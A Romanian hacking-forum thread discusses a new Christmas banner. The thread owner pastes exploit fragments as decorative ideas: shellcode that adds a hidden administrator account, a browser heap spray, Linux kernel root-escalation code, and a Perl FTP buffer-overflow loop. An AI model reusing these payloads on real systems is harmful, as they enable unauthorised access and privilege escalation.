Jump to content
Nytro

Header nou

By Nytro, in Anunturi importante

Recommended Posts

Nytro Mentor

Nytro

Posted
Posted

Cred ca a venit vremea ca headerul forumului sa fie schimbat:

1) Nu mai avem 20k membri

2) E Craciunul

3) Vine noul an, sa ne prinda cu un header nou, de sarbatori

Problema e ca noi, cei din staff, ori nu prea ne pricepem ori nu avem timpul si rabdarea necesara pentru a realiza un astfel de header.

Asadar, cine ar putea face unul nou?

Cine ar putea face unul dragut, deci cineva care se pricepe cat de cat, daca doreste sa faca, sa il posteze aici. Si vom discuta, ce e bine, ce nu e, ce ar trebui schimbat. Vedem noi.

Cateva idei: mie imi place ideea de scut, ceva legat de "security" ar fi dragut, poate un shellcode sau un mic cod in limbajul xxx, e Craciunul, deci trebuie neaparat o craciunita, sau doua-trei...

Cred ca o sa va descurcati, aveti imaginatie mai multa decat mine.

Bafta.

Link to comment
Share on other sites
AlStar Rookie

AlStar

Posted
Posted
da-ti-mi voi un cod si il plasez

ps: ala nu ii html, ii nu stiu ce limbaju penisului

ii mai bine?

45115536.jpg

rst2.jpg

^Umbra de neon albastru - Idee by Zippy^

Foarte fain. Nytro are dreptate cu limbaju' de programare. Dar ar mai fi ceva.. Daca tot avem forumu' Negru-Verde, si scutu' ala ar trebui sa fie tot un verde.. sau schimbam tema de la forum? un albastru' de ala?:)

Link to comment
Share on other sites
Nytro Mentor

Nytro

Posted
  • Author
Posted (edited)

Da, arata mai bine asa. Ala cred ca XML e.

Ar merge mai bine ceva de forma:

"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"
                "\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
                "\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63"
                "\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
                "\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73"
                "\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e"
                "\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20"
                "\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67"
                "\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e"
                "\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20"
                "\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61"
                "\x64\x64\x00"

    // first heap spray
    var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);
    var arr = []
    for(var i = 0; i < 60000; i++) {
        arr[i] = ["" + base].join("");
    }

    // second heap spray w/ shellcode
    var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);

unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    struct utsname ver;
    int ret;
    int rep = 0;
    int oldstyle = 0;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            goto fallback;
        oldstyle = 1;
    }

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

        commit_creds(prepare_kernel_cred(0));
        return -1;

}

void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
        asm("mov $getroot, %rax; call *%rax;");
#else
        asm("mov $getroot, %eax; call *%eax;");
#endif

}

sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
        printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
        $ret = pack("V", $counter);
        $align = $targets[$ttype][5];

        my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                         PeerPort => 21,
                                         Proto    => 'tcp');

        $stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;

        $v = <$sock>;

        print $sock "\x00" x $align . "\xff" . $stack . "\n";

        close($sock);          
    }   
}

for b in $(cd "${CONFDIR}/scripts" && find . \
	-regextype posix-extended -regex '.*/[[:alnum:]_]+$' -type f); do
	[ -d "${DESTDIR}/scripts/$(dirname "${b}")" ] \
		|| mkdir -p "${DESTDIR}/scripts/$(dirname "${b}")"
	cp -p "${CONFDIR}/scripts/${b}" "${DESTDIR}/scripts/$(dirname "${b}")/"
done

004010A2   . 8B45 08        mov     eax, dword ptr ss:[ebp+8]
004010A5   . 05 30000000    add     eax, 30
004010AA   . E9 05000000    jmp     temp1.004010B4
004010AF   . E9 02000000    jmp     temp1.004010B6
004010B4   > 40             inc     eax
004010B5   . 48             dec     eax
004010B6   > 8945 84        mov     dword ptr ss:[ebp-7C], eax
004010B9   . 8B45 84        mov     eax, dword ptr ss:[ebp-7C]
004010BC   . 8D65 F4        lea     esp, dword ptr ss:[ebp-C]

Chestii din astea mai dragute :)

Edited by Nytro
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...